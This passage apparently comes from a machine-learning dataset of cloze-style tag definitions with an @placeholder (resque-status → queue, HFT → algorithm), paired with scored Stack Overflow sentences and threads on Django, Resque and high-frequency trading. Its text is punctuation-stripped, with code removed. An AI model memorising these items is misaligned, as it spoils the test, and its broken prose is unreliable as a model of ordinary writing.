.. . Answer : Turns out it was as simple as adding .. . .. . to settings.py Comment : thank you so much", "Question : null .. . Answer : Or rather it s returning them as text which is really odd . So I have this line of code in my javascript to test this that s .. . .. . I can verify that the actual location of the resource exists because the status code is 200 and I see responseText with the contents in the Chrome console window . Now the issue is that.. . When I run it from the dev server locally there s only responseText .. . .. . When I run it on the actual site in the console it returns responseJSON and responseText . Does anyone know why this is the case Essentially it s not returning a javascript object .. . .. . So the actual server runs apache . Is it possible that for some reason the Django dev server is setting the MIME types of responses incorrectly .. . .. . Apparent fix .. . .. . Well it seems like this was the same problem encountered in this http : stackoverflow.com questions 18271257 resource-interpreted-as-font-but-transferred-with-mime-type-font-woff-django question . It was fixed by adding .. . .. . In settings.py but that doesn t answer the bigger question of WHY the development server can t correctly set the MIME type for some types of content .. . .. . Edit .. . .. . In fact a lot of the mimetypes seem off . For instance on my apache server .pngs are transferred as image png while on the dev server it s image x-png Comment : Does switching DEBUG flag make any difference Comment : It s current set to True . Setting it to False doesn t seem to fix the problem it doesn t seem to allow me to run it without Debug True Comment : Could you check what is the Content-Type of the response locally and on the actual site Comment : On the local site it s an application octet-stream while on the site it s a application json . Weird.. . Comment : Could you show your urls.py part that configures serving static files", "Question : I m using Django version 1.3 alpha 1 SVN-14750 to build a Django site . I ve got a couple of pages which display data and allow me to edit that data . However I seem to have to restart the built-in Django web server to see the updated data . I don t remember having this problem before : usually a CTRL + F5 refresh in the browser would do it . Obviously it s quite annoying behaviour during development seeing up-to-date data load slower is preferable to seeing out-of-date data load instantly . I m using Firefox with the cache disabled about : config network.http.use-cache False so I m reasonably sure the issue is with Django . .. . Answer : Web servers themselves don t do caching . It is up to the application itself to decide how server-side caching works . In Django s case there are a number of options for enabling caching . The high level though is that Django sees a request for an URL generates the html string in response and stores that string in memory or a database - depending on the cache backend you set . The next time a request comes through for that same URL Django will check to see if that response lives in the cache and if it does will return that string . If it doesn t the process repeats . The idea behind providing @vary on decorators is that you change the lookup keys for finding a response in the cache . If you vary on user url . the algorithm goes something like this : .. . .. . The web server has no input into this type of caching . The other type of caching is client-side . This is where the web server is configured to return certain headers for specific types of resources like static content javascript images etc . The browser can then analyze those headers and decide to request the content or to use the content stored client-side . This generally doesn t apply to dynamic-content however .", "Question : In my development-environment I m getting intermittent failures for serving static files js scripts and css . In the error console in Chrome I get 404s . But if I refresh on those items or visit the URLs directly they re served up fine . This is annoying . Example : .. . .. . but if I visit that URL directly fine . And if I refresh the page a few times it will work again . Any ideas Chrome 14.0.835.202 Comment : I m having the same issue . Did you manage figuring out the reason Comment : Not yet Running with --forked seems to work but makes using pdb impossible Comment : why does your url have v 1 Comment : That s just a future-proofing cache-busting thing . It s not used by dev server just so we can change the URL for the next version . Comment : please post your settings.py .. . Answer : After reading all answers if still anyone having this problem then .. . As per Django nature you don t need to do anything to serve static files just your settings file should have proper configuration as follows : .. . .. . But if still you face problem put this into your urls.py : .. . .. . r path of your file django.views.static.serve document root : PROJECT ROOT DIR + path to the static folder .. . .. . Above URL will serve for static files whether they are JS files or CSS or images . In case of production server you don t need this . Then run : python manage.py collecstatic . Hope this helps . Comment : Sorry this doesn t help . As per my question this is an intermittent problem . Meaning : it works most of the time . Comment : Thats what i wrote that by default you dont need to do anything to serve static files in your development-environment . But if your facing it at irregular intervals you can tweak it by this . hope this helps . . Comment : Thank you but I don t think this is the issue . It s probably around socket handling a bit lower down i.e . to do with the Django code rather than the configuration of the file serving .", "Question : I am running django on django s development server . It was working fine before but from yesterday i keep getting this error on the linux command-line where server was running . can anyone guide me that why it started happening now .. . .. . This happen only 1 out of 10 times .. . Answer : Broken pipe means that there was still outgoing data on a file-descriptor a socket in this case-when the destination closed down . In this case the most likely cause is the browser closing the connection before the Django development server has sent the entire response ." ] }
[ "yes-answer-long", "yes-answer-short" ]
django
UNK_RELATION
resque-status@queue@62
resque-status -- resque-status is an extension to the resque @placeholder system that provides simple trackable jobs .
{ "confidence": [ 65.19529724121094, 60.395172119140625, 59.192848205566406, 55.19257354736328, 54.001953125, 50.99114227294922, 45.11100769042969, 41.895294189453125, 34.29167175292969, 21.907333374023438, 21.45001220703125, 21.45001220703125, 17.905620574951172, 16.902782440185547, 16.483562469482422, 16.483562469482422, 16.483562469482422, 16.480981826782227, 14.680591583251953, 13.533906936645508, 13.447341918945312, 12.87618637084961, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.822389602661133, 12.196019172668457, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789, 10.481119155883789 ], "content": [ "there is a github issue that describes a workaround but it didn t work for me : github.com quirkey resque-status issues 66 https : github.com quirkey resque-status issues 66", "You can see the implementation here - github.com resque resque blob master lib resque job.rb https : github.com resque resque blob master lib resque job.rb", "I developed a RoR app that does some file processing in the background using resque-status https : github.com quirkey resque-status .", "I tried using resque-status but that requires polling in the controller to check the status like.. . .. . .. . Any suggestions", "Fortunately Resque has a feature called inline https : github.com resque resque blob 50e6f3e2649c85b447cb152ab42659ad5dcbe7ff lib resque.rb : .. . .. . So your test should look like this :", "I compared 3 most frequently used gems for this Delayed Jobs Resque Sidekiq and found that resque is the most suitable for me .", "I have a Resque job that I am trying to test using rspec .", "I m trying to pass a value from inside my job to the status hash exactly as described here : https : github.com quirkey resque-status passing-back-data-from-the-job .. . .. . But I don t understand how I m supposed to do it .", "The job looks something like : .. . .. . I am using Resque status so I am using the create method to create the job like so : .. . .. . If I try to create a job the same way in an rspec test the options appear to not be making it to the job .", "The jobs are being queued up but there are no workers to run them .", "I want to be able to display a CSS progress-bar of the percentage status of the background job .", "Is there a way to get the status of the job from the view in real-time so I can change the value of a progress-bar", "Write the code to publish a message after your system code finishes execution .", "Another simple step though might not be feasible for you is to send an email at the end of the process .", "Here s my job class : .. . .. . But when I check the job after completion : .. . .. . The output url key is never there .", "facing the same issue .", "The following worked for me :", "If you want to go asynchronous system like faye http : faye.jcoglan.com ruby.html so you can send a message to the frontend when the process is done .", "Send push notifications to the respective channels .. . .. . I would recommend using a system called Pusher http : pusher.com for this no affiliation .", "It s a websocket interface connecting your front-end to the backend controller methods of your system .. . .. . This will allow you to perform the following : .. . .. . Obviously a very rough outline for you - hopefully will explain the methodology of how you d tackle this issue .", "Websockets http : en.wikipedia.org wiki WebSocket .. . .. . Both of these have a very simple way of working you can see here : What are Long-Polling Websockets Server-Sent Events SSE and Comet", "http : stackoverflow.com questions 11077857 what-are-long-polling-websockets-server-sent-events-sse-and-comet .. . .. . They essentially give you the ability to connect your front-end DOM http : en.wikipedia.org wiki Document Object Model via JS to a backend push system .", "As in when I insert a binding.pry after user options user the options hash is empty .", "My rspec test looks like this :", "What happens if you pass a Hash with symbols instead of strings", ": import key test key", "It appears the same issue if I pass a hash .", "you mean symbols.. .", "Yep I meant symbols .", "Sorry about that .", "I actually realized the issue but not sure how to fix it still .", "Is there a way in tests to start a worker to run a job", "Update your question", "For unit-testing it is not advisable to run the code you are testing on a different thread process which is what Requeue is doing .", "Instead you should simulate the situation by running it directly .", "I tried using Resque.inline and now the job isn t even being queued up .", "Not sure if I am missing something .", "The job is not supposed to be queued up it is supposed to run well.. . inline .", "I am building a webapp using ruby-on-rails that requires running C++ exe programs in the background .", "In Countroller I have create method like this .. . .. . In Worker class I have .. . .. . Now my question is how should I detect that job has finished", "I want to send gemerated image file to client once images are generated by C++ application .", "which usercan view download .", "As redirect to model path @model.id will return after Resque.enqueue JobWorker @model.file.url in the create in controller .", "Thank you in Advance.. .", "You can send an email to the client letting them know that the process is complete visit link-to see the result .", "faye is what I am looking right now. . : hope to solve using it", "Thanks", "Since you are using rails you might find this gem more useful .", "github.com jamesotron faye-rails https : github.com jamesotron faye-rails", "@newbee if the solution is right do accept the answer :", "This means that unless you open a persistent connection from which you can specify different data attributes you will only be able to send one-time updates through asynchronous requests http : en.wikipedia.org wiki Ajax programming .. . .. . .. . .. . Persistence .. . .. . In order to track progress you need to create a system which firstly pushes your data so you need a way to receive that data and then you need to be able to process any of the pushed updates you ll receive .", "I have been considering this myself", ".. . .. . Push http : en.wikipedia.org wiki Push technology .. . .. . You ll want to use something called push technology the same as iPhone Push Notifications .", "This will give you the ability to send specific updates to your front-end .", "Let me explain the issue and how to resolve it.. .", "The issue you have is that sending persistent updates is not within the remit of Rails or HTTP for that matter .", "These are both built on the stateless protocol pattern http : en.wikipedia.org wiki Stateless protocol meaning that each request is on a clean slate .", "This is how you ll be able to create the look of a progress-bar .", "There are two ways to achieve this : .. . .. . 1 .", "SSE s http : www.w3schools.com html html5 serversentevents.asp .. . 2 .", "This will then allow your JS to process any of the updates sent from your backend to your listening JS calls .", "I won t go into specifics about SSE Websockets apart from saying that websockets are the best solution - they are truly persistent .", "SSE s just use ajax long-polling to your controller endpoint http : en.wikipedia.org wiki Communication endpoint highly inefficient less secure .", "-- .. . .. . Pushing .. . .. . In order to achieve the progress-bar type interface you ll want to consider the following pattern : .. . .. . 1 .", "Your user s DOM connects to your endpoint using SSE s Websockets .. . 2 .", "Using the pub sub pattern you ll have a channel for each user .. . 3 .", "Amazing this seems to be the answer I have been tirelessly looking for .", "I will attempt to implement this ASAP and will update it to the correct answer afterwards ." ] }
{ "confidence": [ 76.0003662109375, 72.70499420166016, 63.79090881347656, 50.02151870727539 ], "content": [ "Question : I m trying to pass a value from inside my job to the status hash exactly as described here : https : github.com quirkey resque-status passing-back-data-from-the-job .. . .. . But I don t understand how I m supposed to do it . Here s my job class : .. . .. . But when I check the job after completion : .. . .. . The output url key is never there . Comment : facing the same issue . there is a github issue that describes a workaround but it didn t work for me : github.com quirkey resque-status issues 66 https : github.com quirkey resque-status issues 66 .. . Answer : The following worked for me :", "Question : I have a Resque job that I am trying to test using rspec . The job looks something like : .. . .. . I am using Resque status so I am using the create method to create the job like so : .. . .. . If I try to create a job the same way in an rspec test the options appear to not be making it to the job . As in when I insert a binding.pry after user options user the options hash is empty . My rspec test looks like this : Comment : What happens if you pass a Hash with symbols instead of strings : import key test key Comment : It appears the same issue if I pass a hash . Comment : you mean symbols.. . Comment : Yep I meant symbols . Sorry about that . I actually realized the issue but not sure how to fix it still . The jobs are being queued up but there are no workers to run them . Is there a way in tests to start a worker to run a job Comment : Update your question .. . Answer : For unit-testing it is not advisable to run the code you are testing on a different thread process which is what Requeue is doing . Instead you should simulate the situation by running it directly . Fortunately Resque has a feature called inline https : github.com resque resque blob 50e6f3e2649c85b447cb152ab42659ad5dcbe7ff lib resque.rb : .. . .. . So your test should look like this : Comment : I tried using Resque.inline and now the job isn t even being queued up . Not sure if I am missing something . Comment : The job is not supposed to be queued up it is supposed to run well.. . inline . You can see the implementation here - github.com resque resque blob master lib resque job.rb https : github.com resque resque blob master lib resque job.rb", "Question : I am building a webapp using ruby-on-rails that requires running C++ exe programs in the background . I compared 3 most frequently used gems for this Delayed Jobs Resque Sidekiq and found that resque is the most suitable for me . In Countroller I have create method like this .. . .. . In Worker class I have .. . .. . Now my question is how should I detect that job has finished I want to send gemerated image file to client once images are generated by C++ application . which usercan view download . As redirect to model path @model.id will return after Resque.enqueue JobWorker @model.file.url in the create in controller . I tried using resque-status but that requires polling in the controller to check the status like.. . .. . .. . Any suggestions Thank you in Advance.. . .. . Answer : If you want to go asynchronous system like faye http : faye.jcoglan.com ruby.html so you can send a message to the frontend when the process is done . Write the code to publish a message after your system code finishes execution . Another simple step though might not be feasible for you is to send an email at the end of the process . You can send an email to the client letting them know that the process is complete visit link-to see the result . Comment : faye is what I am looking right now. . : hope to solve using it Thanks Comment : Since you are using rails you might find this gem more useful . github.com jamesotron faye-rails https : github.com jamesotron faye-rails Comment : @newbee if the solution is right do accept the answer :", "Question : I developed a RoR app that does some file processing in the background using resque-status https : github.com quirkey resque-status . I want to be able to display a CSS progress-bar of the percentage status of the background job . Is there a way to get the status of the job from the view in real-time so I can change the value of a progress-bar .. . Answer : I have been considering this myself .. . .. . Push http : en.wikipedia.org wiki Push technology .. . .. . You ll want to use something called push technology the same as iPhone Push Notifications . This will give you the ability to send specific updates to your front-end . Let me explain the issue and how to resolve it.. . The issue you have is that sending persistent updates is not within the remit of Rails or HTTP for that matter . These are both built on the stateless protocol pattern http : en.wikipedia.org wiki Stateless protocol meaning that each request is on a clean slate . This means that unless you open a persistent connection from which you can specify different data attributes you will only be able to send one-time updates through asynchronous requests http : en.wikipedia.org wiki Ajax programming .. . .. . .. . .. . Persistence .. . .. . In order to track progress you need to create a system which firstly pushes your data so you need a way to receive that data and then you need to be able to process any of the pushed updates you ll receive . This is how you ll be able to create the look of a progress-bar . There are two ways to achieve this : .. . .. . 1 . SSE s http : www.w3schools.com html html5 serversentevents.asp .. . 2 . Websockets http : en.wikipedia.org wiki WebSocket .. . .. . Both of these have a very simple way of working you can see here : What are Long-Polling Websockets Server-Sent Events SSE and Comet http : stackoverflow.com questions 11077857 what-are-long-polling-websockets-server-sent-events-sse-and-comet .. . .. . They essentially give you the ability to connect your front-end DOM http : en.wikipedia.org wiki Document Object Model via JS to a backend push system . This will then allow your JS to process any of the updates sent from your backend to your listening JS calls . I won t go into specifics about SSE Websockets apart from saying that websockets are the best solution - they are truly persistent . SSE s just use ajax long-polling to your controller endpoint http : en.wikipedia.org wiki Communication endpoint highly inefficient less secure . -- .. . .. . Pushing .. . .. . In order to achieve the progress-bar type interface you ll want to consider the following pattern : .. . .. . 1 . Your user s DOM connects to your endpoint using SSE s Websockets .. . 2 . Using the pub sub pattern you ll have a channel for each user .. . 3 . Send push notifications to the respective channels .. . .. . I would recommend using a system called Pusher http : pusher.com for this no affiliation . It s a websocket interface connecting your front-end to the backend controller methods of your system .. . .. . This will allow you to perform the following : .. . .. . Obviously a very rough outline for you - hopefully will explain the methodology of how you d tackle this issue . Comment : Amazing this seems to be the answer I have been tirelessly looking for . I will attempt to implement this ASAP and will update it to the correct answer afterwards . Thanks" ] }
[ "yes-answer-long", "yes-answer-short" ]
queue
UNK_RELATION
hft@algorithm@63
hft -- hft stands for high frequency trading it is the use of @placeholder to trade stocks options and other securities in very short time can be nanoseconds to few hours .
{ "confidence": [ 55.2879638671875, 52.94689178466797, 51.73631286621094, 51.64684295654297, 51.64684295654297, 46.164772033691406, 44.895835876464844, 44.06080627441406, 42.84941101074219, 42.36463165283203, 42.36463165283203, 41.52985382080078, 40.139122009277344, 39.644874572753906, 39.13227844238281, 39.06996154785156, 38.935970306396484, 38.21367263793945, 38.170562744140625, 37.56378936767578, 37.30091857910156, 37.00924301147461, 36.66234588623047, 36.216217041015625, 36.107093811035156, 35.77770233154297, 34.91617202758789, 34.31758499145508, 34.31758499145508, 33.94259262084961, 33.720863342285156, 33.1807861328125, 33.124488830566406, 32.682533264160156, 32.682533264160156, 32.682533264160156, 32.60596466064453, 32.0858154296875, 31.757904052734375, 31.757904052734375, 31.693796157836914, 31.49103355407715, 30.936067581176758, 30.563201904296875, 30.297786712646484, 30.297786712646484, 30.029708862304688, 30.029708862304688, 29.820404052734375, 28.958662033081055, 28.77128028869629, 28.77128028869629, 28.77128028869629, 28.3251953125, 28.044034957885742, 27.699647903442383, 27.100650787353516, 26.690143585205078, 26.504638671875, 25.34844207763672, 25.161853790283203, 25.1320858001709, 24.784725189208984, 24.37172508239746, 24.305397033691406, 23.852710723876953, 23.752647399902344, 23.658870697021484, 23.254215240478516, 23.254215240478516, 22.586627960205078, 22.499099731445312, 22.206165313720703, 21.993865966796875, 21.873184204101562, 21.843143463134766, 21.77020835876465, 21.21912384033203, 21.21912384033203, 21.21912384033203, 21.21912384033203, 21.21912384033203, 21.21912384033203, 20.853748321533203, 20.84838104248047, 20.53656578063965, 20.266319274902344, 20.266319274902344, 20.266319274902344, 20.24458122253418, 20.07961654663086, 20.07961654663086, 20.01737403869629, 19.937030792236328, 19.937030792236328, 19.863449096679688, 19.402742385864258, 19.368045806884766, 19.330860137939453, 19.313339233398438 ], "content": [ "I m writing HFT trading software .", "I was told that for a High Frequency Trading HFT system that requires low-latency TCP is used over UDP .", "our HFT trading application is developed in Java .", "Note that the application is about High Frequency Trading HFT so performance is of extreme importance .", "Note that the application is about High Frequency Trading HFT so performance is of extreme importance .", "For high-performance trading engines at good HFT shops avoiding new malloc in C++ code is a basic .", "HFT means as nearer to exchange as possible .", "I m writing HFT software .", "Why would TCP be a better protocol to use for HFT", "There are two parts to any HFT system : .. . .. . 1 .", "Understand that there are two different connections in an HFT engine .", "In HFT trading application I need to receive data from udp multicast socket .", "For all execution I want to use HFT with iceberg detection .", "Once again it depends on your timescale for HFT .", "Are you aware of any simulator or a way that i can try high frequency trading with real-time data .", "High Frequency Trading .. . I m also interested if anyone can share some experience using Hadoop in the context of high frequency trading systems .", "actually the HFT boxes are usually colocated with the exchange to provide minimal delays .", "I m trying to study about high frequency trading systems .", "We are developing a Java based HFT application which requires a tick-to-trade performance less than 10 micro-sec .", "However I need minimal delays as I trading HFT-arbitrage and everything else already optimized best colocation fast hardware etc . .", "Well I assume this is more theoretical question for those who familar with hft .", "can you share what you mean by HFT - hadoop is not meant for real-time processing generally .", "To use Paul s example of buying a million shares of IBM HFT algo s will be looking for buying pressure .", "In an HFT application you need pretty much every feature TCP requires .", "@L.B HFT is kind of software which always encounter performance problems no matter what : I know that all Java HFT programmers use disruptor without measuring if they have performance problem .", "Can anyone explain from a programmers point of view what is high frequency trading", "If you re dealing with HFT then you should say that in your question .", "To expand on what Paul said : .. . .. . The server executing HFT or UHFT are almost always collocated in the exchange s data center .", "As you may have noticed there are a lot of HFT jobs available and thus the trades are becoming more crowded .", "That s probably why most people use TCP rather than UDP for HFT .", "Over the last couple of weeks i have come across lots of articles about high frequency trading .", "You want to respond to long-term low frequency changes in price but ignore small short-term high frequency fluctuations .", "++ delay between order is received and actions is taken is less because don t need to schedule tasks or pass data work to another process very important in hft .", "We are trying Chronicle HFT as a proof of concept for low-latency messaging b w components .", "Have there been attempts to write simpler HFT strategies such as equity market-making in hardware", "in hft seriosly I want to do exactly as much as I have to do and not more .", "Therefore many HFT systems use hardware accelerated systems that can multiplex the streams across many NICs via TCP example Solace .", "In our high frequency trading application it is required to calculate checksum for a set of bytes before sending it over to the exchange .", "http : chronicle.software .. . .. . My production application is used for High frequency trading and every bit of latency can be an issue .", "My production application is used for High frequency trading and every bit of latency can be an issue .", "HFT data is like video - if you don t have a frame in time forget it - it s too late - just get the next one .", "All the major exchanges web sites have links to public data and educational resources to help decide if HFT is for you and how to go about it .", "Some are high frequency price data and some are low frequency trade data : .. . .. . The problem is the same code used for the low frequency trade data is working fine : autodiscovering the hazelcast cluster and when data is published into the ringbuffer it is read and acted on .", "Your answer is good in that it is a non hacky standard Java solution but considering the speed required with HFT even your approach can be improved .", "You might be interested in our open-source software which is used for HFT systems at different Investment Banks and Hedge Funds .", "People doing HFT using Java often turn off garbage-collection completely and restart their systems daily .", "An HFT algo will use statistical machine learned models to predict the size of the buying pressure and if it determines that there is enough it will also accumulate shares from across markets and attempt to sell them for a slightly higher price .", "Whats the mechanism that HFT use to connect with the exchange and whats the procedure does it has to go through a broker or is it direct access if it s direct access what sort of connection information that i require .. . .. . Thanks in advance for your answers .", "Haha I know this is an older question but just reading this made me glad to know there are others on SO who can relate to my day-to-day experience developing for an HFT company .", "I use it in my trading application .", "I don t have any experience with the HFT field but I suspect that TCP is used because it guarantees that the packet gets to it s destination whereas UDP does not .", "As much as I detest HFT I m going to tell you how to get maximum performance out of each thread on a given piece of iron .", "Spark will perform better due to in-memory processing mostly but most of HFT depending on your timescale will require you to avoid disk remove networks .", "Many HFT platforms send large numbers of limit orders and then cancel or expire those that are not filled and I don t believe that FIXimulator supports limit orders so that may be the initial tweak that you have to make .", "Hi ali haider that is my sense too that hadoop in the HFT eco-system is best suited for storing tick data coming from a real-time stream or historical lookup .", "For example Write a job that will compute the average trading volume on a 1 minute interval for all stocks and all sessions stored in the database .", "There are several arguments used in this article http : gafferongames.com networking-for-game-programmers udp-vs-tcp as to why UDP TCP for gaming but I can see relevance for HFT .", "http : stackoverflow.com questions 10267850 what-better-do-we-have-to-asynchronous-execute-method-than-blockingcollection .. . .. . And I really want this microseconds as I have a lot of free CPU power and in HFT microseconds are important .", "I m trying to convince them to let me open three accounts one for stock day trading one for options swing trading and a small one for futures day trading .", "For example if stock2 is changed then : .. . .. . Now I need to synchronize nasdaq index because stocks can be updated at the same time .", "The others generalizes to n stocks .", "Or are they different stocks", "I got high frequency data from a limit order book in Stata .", "Then it calculates the liquidity of the stocks by sorting trades .", "@Suparna If you re writing HFT code in Java you re almost certainly using custom techniques such as Chronicle to manage resources manually and none of the standard JVM advice applies .", "A moving average is one kind of low-pass filter but it has the problem which you observe that it trades smoothing for lag in order to smooth out high-frequency fluctuations you need to average over quite a long sequence but then it takes a long time for low-frequency changes to become apparent .", "However for the high frequency data where lots of data is published to the ringbuffer in high volume the reader above starts up and autodiscovers the hazelcast cluster but then does not read any data at all.. .", "On the other end to deal with the massive quantities of data people use high-speed databases such as KDB OneTick and Vhayu .", "See Direct Edge Pricing http : directedge.com Default.aspx AspxAutoDetectCookieSupport 1 Shares that are bought or sold may only be held for a very short period of time .", "98 last 98 .. . .. . The problem is that in very short period of time my true price is changed from 100 to 101 and back too many times .", "analysis of large quantities of tick data price time and order book information and historical data on the systems previous trading activity looking to optimize and search for the best algorithms to be executed in real-time by part 1 . i.e .", "I see this as kind of like stat arb from the early 2000s and eventually the trade will not be very profitable since so many players are trying to make it .", "Then pick transactions of all other stocks with time as close as possible to 11 : 04 : 20 which would cause us to choose BBB 2011-01-03 11 : 04 : 19 32.01 .", "All stocks prices are decimal I can make weight decimal or double - it doesn t matter .", "Even if you used all 2700+ stocks it still would be pretty speedy .", "If the producers produce at a very high rate it could be that the data for the reader is overwritten and then you run into this exception .", "let s put it in steps : 1 The list is sorted by time at each given day 2 Pick the time of the last transaction of the stock with fewer trades in that window of time Append the whole transaction in a new list say C 3 Look at the transactions of other stocks that traded close to this hour append in C", "There are a couple of large buckets of strategies which are being commonly used today : .. . .. . The first is trading in front of large block orders .", "The second is liquidity rebate trading where exchanges will pay market participants to add liquidity .", "I would just add that the most prevalent applications in this kind of trading tend to be CEP complex-event-processing .", "The answer to this question will not be found in any reference on algorithms or programming but perhaps in a reference on algorithmic-trading .", "With both connections your trading engine must be certified by the provider ICE CME etc to comply with their requirements .", "Trading Calendar I create one manually and assign to trading.environment by using non working days in tradingcalendar lse.py .", "It s not uncommon for high frequency data to have the same timestamps within microsecond resolution .", "brilliant I searched high and low for this .", "Real time super low-latency trading - subscribe to real-time order book and price information from lots of different sources execute calibrated algorithms designed to either carry out a large order with minimal slippage i.e .", "Picking the last trade of each stock causes a lack of synchronicity problem .", "in my case I already selected the last trade of AAA in parenthesis .", "Then it filters by name being more liquid and sorts by the absolute difference between it and the A trade .", "In both of these strategy types the idea is to make pennies or fractions on a trade and do this many times per day .", "During the subscription process you ll gain access to the service providers technical data specification s -- a critical part of designing your trading engine .", "@Luciano : Would you have an idea on this one : stackoverflow.com questions 32912392 http : stackoverflow.com questions 32912392 python-issue-with-zipline-trading-calendar-history", "Just getting into this technology my initial sense is Hadoop can be great for storing and processing large volumes of historic tick data if anyone is using this for real-time trading I d be interested in learning more", "The NASDAQ-100 index the on most used for tracking the nasdaq only has 100 stocks in it .", "Summing all those stocks would probably be faster than using spin-locks and caching .", "Suppose I collected in a list all trades that occurred within a certain period of time say first 5mins after 11AM for n stocks I ll make n 2 for simplicity and adapt later .", "Once you re running you then get to learn that mistakes can be very expensive .", "Scary stuff but very very exciting .", "Trading groups have been known to pull out all the stops including hiring kernel developers to build custom OS components to better optimize the time between when an order hits the NIC and when the resulting action is taken .", "A few points bear mentioning : .. . .. . 1 ." ] }
{ "confidence": [ 73.19009399414062, 71.5093002319336, 65.69127655029297, 65.03638458251953, 62.56112289428711, 62.29076385498047, 61.12820053100586, 60.060855865478516, 59.78549575805664, 59.35053634643555, 57.191856384277344, 56.34839630126953, 55.96871566772461, 49.788169860839844, 48.865333557128906, 48.48126220703125, 44.56743240356445, 43.97490310668945, 43.84658432006836, 43.705848693847656 ], "content": [ "Question : I m trying to study about high frequency trading systems . Whats the mechanism that HFT use to connect with the exchange and whats the procedure does it has to go through a broker or is it direct access if it s direct access what sort of connection information that i require .. . .. . Thanks in advance for your answers . Comment : HFT means as nearer to exchange as possible . Broker is an additional step and they would prefer not to have one . Comment : Are their any simulators to try accessing stock exchange data without a broker . Comment : There is no one correct answer . Different exchanges use different protocols . Some use FIX some don t . Comment : Thanks Grant . Are you aware of any simulator or a way that i can try high frequency trading with real-time data . .. . Answer : It usually requires an approval from exchange to grant access from outside . They protect their servers by firewalls so your server network need to be authorized to access . Special certification procedure with technician by phone is usually required before they authorize you . Most liquidity providers use FIX protocol or custom APIs . You may consider starting implementing your connector with QuickFix http : www.quickfixengine.org but it may become a bottleneck later when your traffic will grow . Information you need to access by FIX is : .. . .. . 1 . Server IP .. . 2 . Server port .. . 3 . FIX protocol credentials : .. . 1 . SenderCompID .. . 2 . TargetCompID .. . 3 . Username .. . 4 . Password .. . 5 . Other fields http : www.fixtradingcommunity.org FIXimate FIXimate3.0 en FIX.5.0SP2 body 49485052.html Comment : Thanks a lot this is very useful information . Comment : actually the HFT boxes are usually colocated with the exchange to provide minimal delays . This is obviously a very expensive option If you want to simulate it FIXimulator fiximulator.org http : fiximulator.org is able to be configured to automatically send fills etc . and with a little tweaking - its opensource it should be everything you need to get started . Many HFT platforms send large numbers of limit orders and then cancel or expire those that are not filled and I don t believe that FIXimulator supports limit orders so that may be the initial tweak that you have to make .", "Question : Over the last couple of weeks i have come across lots of articles about high frequency trading . They all talk about how important computers and software is to this but since they are all written from a financial point of view there is no detail about what does software do Can anyone explain from a programmers point of view what is high frequency trading and why is computer software so important in this field Comment : There have been a bunch of non-technical articles on this topic recently and I was wondering exactly the same thing . +1 Comment : Please consider voting for the quantitative finance stackexchange site idea here : meta.stackexchange.com questions 5786 http : meta.stackexchange.com questions 5786 proposal-for-quantitative-finance-stackexchange-site . That would be a very appropriate place for this kind of question . Comment : you can t go at this unless you have a lot of money or working at a financial institution . Comment : @Kim : Not necessarily . You probably won t be able to run a latency arbitrage strategy due to the hundreds of man years firms like GETCO have poured into their platform but there lots of short durations strategies that can be run by small firms . Comment : @Steve Latency arb is still possible : .. . Answer : To expand on what Paul said : .. . .. . The server executing HFT or UHFT are almost always collocated in the exchange s data center . This minimizes latency and also allows the algos use Flash orders which might be banned soon to get first look at order flow before the order is broadcast into the market . many algo s will evaluate an order in just a few milliseconds and this is a game where milliseconds matter . Trading groups have been known to pull out all the stops including hiring kernel developers to build custom OS components to better optimize the time between when an order hits the NIC and when the resulting action is taken . There are a couple of large buckets of strategies which are being commonly used today : .. . .. . The first is trading in front of large block orders . To use Paul s example of buying a million shares of IBM HFT algo s will be looking for buying pressure . A firms computers at different exchanges and dark pools will need to share information since the order will be divided up and typically executed across multiple exchanges and dark pools . An HFT algo will use statistical machine learned models to predict the size of the buying pressure and if it determines that there is enough it will also accumulate shares from across markets and attempt to sell them for a slightly higher price . The second is liquidity rebate trading where exchanges will pay market participants to add liquidity . See Direct Edge Pricing http : directedge.com Default.aspx AspxAutoDetectCookieSupport 1 Shares that are bought or sold may only be held for a very short period of time . The goal is just to collect the rebate and break even on everything else . In both of these strategy types the idea is to make pennies or fractions on a trade and do this many times per day . As you may have noticed there are a lot of HFT jobs available and thus the trades are becoming more crowded . I see this as kind of like stat arb from the early 2000s and eventually the trade will not be very profitable since so many players are trying to make it . As for why software is important : milliseconds matter . Latency is super important and the code needs to be tight fast and rock solid stable . Having an algo crash and being caught with shares when the market moves against you is not very profitable . Engineering for these requirements is necessarily different and requires different skills . Crunching the full order book in real-time does requires some horsepower and good algorithms . It is fun and interesting though . Comment : +1 an excellent answer and one which would have helped me greatly when I architected and implemented a black-box arb engine that sometimes made money It could assess about 4.5 million arb routes a second on a desktop PC.We colocated to the US and in the end - it broke even.I often had to deal with a break-down half way through some convoluted trading route and plug up the gap manually.My worst was a few hundred million yen sitting out in the cold whilst the market was sliding.That mistake cost our investor 10000 USD . Scary stuff but very very exciting . laments Oh with a bit more time.. . Comment : how did you plug the gap Comment : @Nikos I would assume through manual orders or some other custom scripts that adjust orders .", "Question : I m trying to study about high frequency trading systems . Whats the mechanism that HFT use to connect with the exchange and whats the procedure does it has to go through a broker or is it direct access if it s direct access what sort of connection information that i require .. . .. . Thanks in advance for your answers . Comment : HFT means as nearer to exchange as possible . Broker is an additional step and they would prefer not to have one . Comment : Are their any simulators to try accessing stock exchange data without a broker . Comment : There is no one correct answer . Different exchanges use different protocols . Some use FIX some don t . Comment : Thanks Grant . Are you aware of any simulator or a way that i can try high frequency trading with real-time data . .. . Answer : Understand that there are two different connections in an HFT engine . The first is the connection to a market data source . The second is to a clearing resource . As mentioned in kpavlov s answer a very expensive COLO co-location is needed to get as close to the data source target as possible . Depending on their nominal latency these COLO resources cost thousands of dollars per month . With both connections your trading engine must be certified by the provider ICE CME etc to comply with their requirements . With CME the certification process is automated with ICE it employs human review . In any case the certification requires that your software demonstrate conformance to standards and freedom from undesirable network side effects . You must also subscribe to your data source s and clearing service neither is 